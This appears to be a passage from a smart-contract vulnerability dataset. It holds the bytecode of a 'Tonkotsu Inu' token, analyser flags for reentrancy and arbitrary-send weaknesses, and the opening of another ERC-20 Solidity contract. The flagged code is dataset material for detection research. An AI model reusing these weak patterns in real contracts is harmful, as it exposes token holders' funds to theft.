d61127e565b005b3480156105db57600080fd5b506105e46112f8565b005b3480156105f257600080fd5b5061060d60048036038101906106089190613224565b6113c4565b60405161061a9190613aa8565b60405180910390f35b34801561062f57600080fd5b5061063861144b565b005b34801561064657600080fd5b5061064f61199b565b60405161065c9190613aa8565b60405180910390f35b60606040518060400160405280600c81526020017f546f6e6b6f74737520496e750000000000000000000000000000000000000000815250905090565b60006106b66106af6119a5565b84846119ad565b6001905092915050565b6000601754905090565b6000683635c9adc5dea00000905090565b600080601360029054906101000a900460ff16601454915091509091565b6000610706848484611b78565b6107c7846107126119a5565b6107c28560405180606001604052806028815260200161427560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107786119a5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125639092919063ffffffff16565b6119ad565b600190509392505050565b60006009905090565b6000601654905090565b6107ed6119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190613988565b60405180910390fd5b80601360016101000a81548160ff02191690831515021790555050565b61089f6119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092390613988565b60405180910390fd5b6064811461096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096690613a68565b60405180910390fd5b61099e606461099083683635c9adc5dea000006125c790919063ffffffff16565b61264290919063ffffffff16565b6017819055507fa0dff8a4e8bcaa27b5a2b64bc312f8b338e362bd6cad89f5fe2ae6b8389fb38a6017546040516109d59190613aa8565b60405180910390a150565b6109e86119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c90613988565b60405180910390fd5b601060149054906101000a900460ff1615610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906139c8565b60405180910390fd5b600081118015610ad6575061384081105b610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c90613948565b60405180910390fd5b600181610b229190613c14565b60168190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6c6119a5565b73ffffffffffffffffffffffffffffffffffffffff1614610b8c57600080fd5b6000479050610b9a8161268c565b50565b600080601360019054906101000a900460ff16601554915091509091565b6000610c05600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612787565b9050919050565b610c146119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9890613988565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d676119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb90613988565b60405180910390fd5b60008111610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90613908565b60405180910390fd5b610e666064610e5883683635c9adc5dea000006125c790919063ffffffff16565b61264290919063ffffffff16565b6018819055507fd0459d371e1defb856088ceda9d33bfed2a31a105e0bae2113cdc7dcc9e77e9d601854604051610e9d9190613aa8565b60405180910390a150565b6000601854905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee36119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790613988565b60405180910390fd5b601060149054906101000a900460ff1615610fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb7906139c8565b60405180910390fd5b600081118015610fd15750611c2081105b611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790613868565b60405180910390fd5b60018161101d9190613c14565b60158190555050565b60606040518060400160405280600c81526020017ff09f8d9c544f4e4b4f5453550000000000000000000000000000000000000000815250905090565b60006110776110706119a5565b8484611b78565b6001905092915050565b6110896119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110d90613988565b60405180910390fd5b80601360026101000a81548160ff02191690831515021790555050565b61113b6119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90613988565b60405180910390fd5b601060149054906101000a900460ff1615611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f906139c8565b60405180910390fd5b6000811180156112295750611c2081105b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90613868565b60405180910390fd5b6001816112759190613c14565b60148190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf6119a5565b73ffffffffffffffffffffffffffffffffffffffff16146112df57600080fd5b60006112ea30610bbb565b90506112f5816127f5565b50565b6113006119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138490613988565b60405180910390fd5b6001601060146101000a81548160ff0219169083151502179055504260118190555060b4426113bc9190613b8d565b601281905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114536119a5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613988565b60405180910390fd5b601060149054906101000a900460ff1615611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790613a48565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506115c030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006119ad565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906131fb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116a057600080fd5b505afa1580156116b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d891906131fb565b6040518363ffffffff1660e01b81526004016116f592919061374f565b602060405180830381600087803b15801561170f57600080fd5b505af1158015611723573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174791906131fb565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117d030610bbb565b6000806117db610eb2565b426040518863ffffffff1660e01b81526004016117fd969594939291906137a1565b6060604051808303818588803b15801561181657600080fd5b505af115801561182a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061184f9190613366565b5050506001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff0219169083151502179055506729a2241af62c0000601881905550674563918244f40000601781905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611945929190613778565b602060405180830381600087803b15801561195f57600080fd5b505af1158015611973573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119979190613314565b5050565b6000601154905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613a28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a84906138c8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b6b9190613aa8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf906139e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4f90613888565b60405180910390fd5b60008111611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c92906139a8565b60405180910390fd5b611ca3610eb2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d115750611ce1610eb2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124a0573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d7e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dd85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e325750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f2e57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e786119a5565b73ffffffffffffffffffffffffffffffffffffffff161480611eee5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ed66119a5565b73ffffffffffffffffffffffffffffffffffffffff16145b611f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2490613a08565b60405180910390fd5b5b60405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020155905050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120a95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120ff5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122b457601060149054906101000a900460ff16612153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214a90613a88565b60405180910390fd5b42601254101561216e57683635c9adc5dea000006018819055505b60185481111561217d57600080fd5b601360019054906101000a900460ff16156122895742600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106121e057600080fd5b601554426121ee9190613b8d565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550601454426122429190613b8d565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b601360029054906101000a900460ff16156122b357601654426122ac9190613b8d565b6011819055505b5b60006122bf30610bbb565b9050601360009054906101000a900460ff1615801561232c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123445750601060149054906101000a900460ff165b1561249e57426011541161237e576000601360026101000a81548160ff021916908315150217905550683635c9adc5dea000006017819055505b60175482111561238d57600080fd5b601360029054906101000a900460ff161561247b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241d90613928565b60405180910390fd5b601454426124349190613b8d565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b612484816127f5565b6000479050600081111561249c5761249b4761268c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561255157600090505b61255d84848484612aef565b50505050565b60008383111582906125ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a29190613846565b60405180910390fd5b50600083856125ba9190613c6e565b9050809150509392505050565b6000808314156125da576000905061263c565b600082846125e89190613c14565b90508284826125f79190613be3565b14612637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262e90613968565b60405180910390fd5b809150505b92915050565b600061268483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1c565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6126dc60028461264290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612707573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61275860028461264290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612783573d6000803e3d6000fd5b5050565b60006007548211156127ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c5906138a8565b60405180910390fd5b60006127d8612b7f565b90506127ed818461264290919063ffffffff16565b915050919050565b6001601360006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612853577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128815781602001602082028036833780820191505090505b50905030816000815181106128bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561296157600080fd5b505afa158015612975573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061299991906131fb565b816001815181106129d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a3a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119ad565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a9e959493929190613ac3565b600060405180830381600087803b158015612ab857600080fd5b505af1158015612acc573d6000803e3d6000fd5b50505050506000601360006101000a81548160ff02191690831515021790555050565b80612afd57612afc612baa565b5b612b08848484612bed565b80612b1657612b15612db8565b5b50505050565b60008083118290612b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5a9190613846565b60405180910390fd5b5060008385612b729190613be3565b9050809150509392505050565b6000806000612b8c612dcc565b91509150612ba3818361264290919063ffffffff16565b9250505090565b6000600954148015612bbe57506000600a54145b15612bc857612beb565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b600080600080600080612bff87612e2e565b955095509550955095509550612c5d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cf285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3e81612f3e565b612d488483612ffb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612da59190613aa8565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612e02683635c9adc5dea0000060075461264290919063ffffffff16565b821015612e2157600754683635c9adc5dea00000935093505050612e2a565b81819350935050505b9091565b6000806000806000806000806000612e4b8a600954600a54613035565b9250925092506000612e5b612b7f565b90506000806000612e6e8e8787876130cb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ed883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612563565b905092915050565b6000808284612eef9190613b8d565b905083811015612f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2b906138e8565b60405180910390fd5b8091505092915050565b6000612f48612b7f565b90506000612f5f82846125c790919063ffffffff16565b9050612fb381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61301082600754612e9690919063ffffffff16565b60078190555061302b81600854612ee090919063ffffffff16565b6008819055505050565b6000806000806130616064613053888a6125c790919063ffffffff16565b61264290919063ffffffff16565b9050600061308b606461307d888b6125c790919063ffffffff16565b61264290919063ffffffff16565b905060006130b4826130a6858c612e9690919063ffffffff16565b612e9690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806130e485896125c790919063ffffffff16565b905060006130fb86896125c790919063ffffffff16565b9050600061311287896125c790919063ffffffff16565b9050600061313b8261312d8587612e9690919063ffffffff16565b612e9690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506131638161422f565b92915050565b6000815190506131788161422f565b92915050565b60008135905061318d81614246565b92915050565b6000815190506131a281614246565b92915050565b6000813590506131b78161425d565b92915050565b6000815190506131cc8161425d565b92915050565b6000602082840312156131e457600080fd5b60006131f284828501613154565b91505092915050565b60006020828403121561320d57600080fd5b600061321b84828501613169565b91505092915050565b6000806040838503121561323757600080fd5b600061324585828601613154565b925050602061325685828601613154565b9150509250929050565b60008060006060848603121561327557600080fd5b600061328386828701613154565b935050602061329486828701613154565b92505060406132a5868287016131a8565b9150509250925092565b600080604083850312156132c257600080fd5b60006132d085828601613154565b92505060206132e1858286016131a8565b9150509250929050565b6000602082840312156132fd57600080fd5b600061330b8482850161317e565b91505092915050565b60006020828403121561332657600080fd5b600061333484828501613193565b91505092915050565b60006020828403121561334f57600080fd5b600061335d848285016131a8565b91505092915050565b60008060006060848603121561337b57600080fd5b6000613389868287016131bd565b935050602061339a868287016131bd565b92505060406133ab868287016131bd565b9150509250925092565b60006133c183836133cd565b60208301905092915050565b6133d681613ca2565b82525050565b6133e581613ca2565b82525050565b60006133f682613b48565b6134008185613b6b565b935061340b83613b38565b8060005b8381101561343c57815161342388826133b5565b975061342e83613b5e565b92505060018101905061340f565b5085935050505092915050565b61345281613cb4565b82525050565b61346181613cf7565b82525050565b600061347282613b53565b61347c8185613b7c565b935061348c818560208601613d09565b61349581613d9a565b840191505092915050565b60006134ad602c83613b7c565b91506134b882613dab565b604082019050919050565b60006134d0602383613b7c565b91506134db82613dfa565b604082019050919050565b60006134f3602a83613b7c565b91506134fe82613e49565b604082019050919050565b6000613516602283613b7c565b915061352182613e98565b604082019050919050565b6000613539601b83613b7c565b915061354482613ee7565b602082019050919050565b600061355c601d83613b7c565b915061356782613f10565b602082019050919050565b600061357f602a83613b7c565b915061358a82613f39565b604082019050919050565b60006135a2602c83613b7c565b91506135ad82613f88565b604082019050919050565b60006135c5602183613b7c565b91506135d082613fd7565b604082019050919050565b60006135e8602083613b7c565b91506135f382614026565b602082019050919050565b600061360b602983613b7c565b91506136168261404f565b604082019050919050565b600061362e601883613b7c565b91506136398261409e565b602082019050919050565b6000613651602583613b7c565b915061365c826140c7565b604082019050919050565b6000613674602883613b7c565b915061367f82614116565b604082019050919050565b6000613697602483613b7c565b91506136a282614165565b604082019050919050565b60006136ba601783613b7c565b91506136c5826141b4565b602082019050919050565b60006136dd601383613b7c565b91506136e8826141dd565b602082019050919050565b6000613700601883613b7c565b915061370b82614206565b602082019050919050565b61371f81613ce0565b82525050565b61372e81613cea565b82525050565b600060208201905061374960008301846133dc565b92915050565b600060408201905061376460008301856133dc565b61377160208301846133dc565b9392505050565b600060408201905061378d60008301856133dc565b61379a6020830184613716565b9392505050565b600060c0820190506137b660008301896133dc565b6137c36020830188613716565b6137d06040830187613458565b6137dd6060830186613458565b6137ea60808301856133dc565b6137f760a0830184613716565b979650505050505050565b60006020820190506138176000830184613449565b92915050565b60006040820190506138326000830185613449565b61383f6020830184613716565b9392505050565b600060208201905081810360008301526138608184613467565b905092915050565b60006020820190508181036000830152613881816134a0565b9050919050565b600060208201905081810360008301526138a1816134c3565b9050919050565b600060208201905081810360008301526138c1816134e6565b9050919050565b600060208201905081810360008301526138e181613509565b9050919050565b600060208201905081810360008301526139018161352c565b9050919050565b600060208201905081810360008301526139218161354f565b9050919050565b6000602082019050818103600083015261394181613572565b9050919050565b6000602082019050818103600083015261396181613595565b9050919050565b60006020820190508181036000830152613981816135b8565b9050919050565b600060208201905081810360008301526139a1816135db565b9050919050565b600060208201905081810360008301526139c1816135fe565b9050919050565b600060208201905081810360008301526139e181613621565b9050919050565b60006020820190508181036000830152613a0181613644565b9050919050565b60006020820190508181036000830152613a2181613667565b9050919050565b60006020820190508181036000830152613a418161368a565b9050919050565b60006020820190508181036000830152613a61816136ad565b9050919050565b60006020820190508181036000830152613a81816136d0565b9050919050565b60006020820190508181036000830152613aa1816136f3565b9050919050565b6000602082019050613abd6000830184613716565b92915050565b600060a082019050613ad86000830188613716565b613ae56020830187613458565b8181036040830152613af781866133eb565b9050613b0660608301856133dc565b613b136080830184613716565b9695505050505050565b6000602082019050613b326000830184613725565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b9882613ce0565b9150613ba383613ce0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bd857613bd7613d3c565b5b828201905092915050565b6000613bee82613ce0565b9150613bf983613ce0565b925082613c0957613c08613d6b565b5b828204905092915050565b6000613c1f82613ce0565b9150613c2a83613ce0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c6357613c62613d3c565b5b828202905092915050565b6000613c7982613ce0565b9150613c8483613ce0565b925082821015613c9757613c96613d3c565b5b828203905092915050565b6000613cad82613cc0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d0282613ce0565b9050919050565b60005b83811015613d27578082015181840152602081019050613d0c565b83811115613d36576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f4d7573742062652067726561746572207468616e203020616e64206c6573732060008201527f7468616e203220686f7572730000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f4d7573742062652067726561746572207468616e203020616e64206c6573732060008201527f7468616e203420686f7572730000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e2e0000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f41682061682061682120596f75206469646e27742073617920746865206d616760008201527f696320776f726421000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f416d6f756e74206d757374206265203130302500000000000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61423881613ca2565b811461424357600080fd5b50565b61424f81613cb4565b811461425a57600080fd5b50565b61426681613ce0565b811461427157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a1b37e6ddc57972493bbaf6ef4e24b095c62a2e1bccbfb2efe4e72156565391664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,129 |
0x6ae9d41cf9782e70932b1bdcff266a23c4ef7758
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
